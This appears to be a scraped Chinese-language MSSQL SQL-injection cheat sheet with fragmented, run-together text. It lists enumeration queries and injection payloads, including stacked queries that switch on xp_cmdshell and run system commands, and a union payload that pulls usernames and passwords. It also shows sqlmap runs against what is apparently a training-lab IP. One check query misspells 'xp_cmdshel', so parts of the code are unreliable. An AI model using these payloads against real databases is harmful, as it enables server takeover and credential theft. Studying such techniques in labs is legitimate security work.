-- 查询版本
select @@VERSION
select * from Users where id='1' and @@VERSION like '%14%';
-- 数据库名
select DB_NAME() -- 当前数据库
select DB_NAME(N) -- 这里的N指的是第几个数据库,如DB_NAME(1)
-- 判断权限
select user
select system_user
select suser_sname()
select is_srvrolemember('public')
select is_srvrolemember('sysadmin')
select @@SERVERNAME
sysobjects
表中。该表是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则等,而XType代表对象的类型。类型简称 | 含义 |
---|---|
U | 用户定义的表 |
V | 视图 |
P | 存储过程 |
X | 扩展存储过程 |
limit
语法是MySQL自带的一个特性,而在MSSQL中并没有这个特性。如果要在MSSQL中实现相似的功能,可以使用top
-- 查询前1条数据
select top 1 name from master..sysdatabases
-- 查询前2条数据
select top 2 name from master..sysdatabases
-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)
xtype='U'
代表是用户定义的表库名..sysobjects
是库名.dbo.sysobjects
的简写select name from master..sysobjects where xtype='U'
select top 1 name from 库名..sysobjects where xtype='u'
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects)
-- 也可以使用类似MySQL的语法,但此处的information_schema不是一个表,而是一个视图
select top 1 table_name from information_schema.tables
select top 1 table_name from information_schema.tables where table_name not in (select top 1 table_name from information_schema.tables)
object(name)
:数据库中每个对象都有一个唯一的id值,object_id()
可以根据表对象名称得到表对象的ID,且只能返回用户创建的对象的ID,返回不了系统表的IDcol_name(id)
:根据ID值得到对象名称,而且可以返回指定下标的结果.select col_name(object_id('表名'),1) from sysobjects
select top 1 col_name(object_id('表名'),1) from sysobjects
select top 1 col_name(object_id('表名'),2) from sysobjects
select top 1 col_name(object_id('表名'),3) from sysobjects
-- 同样也可以使用类似MySQL的语法
select top 1 column_name from information_schema.columns where table_name='表名'
select 列名 from 表名
select 列名 from 表名 where username='列名'
select 列名 from 表名 where username in ('列名')
;
进行闭合原语句,之后再拼接其它类型的SQL语句。- 使用多语句注入可不受注入点类型限制,而MSSQL默认支持多语句注入
1'; exec xp_cmdshell 'whoami > c:\temp.txt' --
- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端
-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))
XP_CMDSHELL
是否开启- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭
-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
-- 若不开启,可以在Web端通过多语句注入进行开启
1';
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE; --
- 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'
create table temp(res varchar(8000));
bulk insert master.dbo.temp from 'C:/temp.txt';
select * from master.dbo.temp
drop table temp;
-r 数据包
来进行验证 $ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2"
mozhe_db_v2
$ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2" --current-db
announcement,manage
$ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2" -D mozhe_db_v2 --tables
manage
中的字段:id,username,password
$ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2" -D mozhe_db_v2 -T manage --columns
username,password
的值都是NULL,还是得手工注入?id=-2 union all select top 1 1,username,password,4 from manage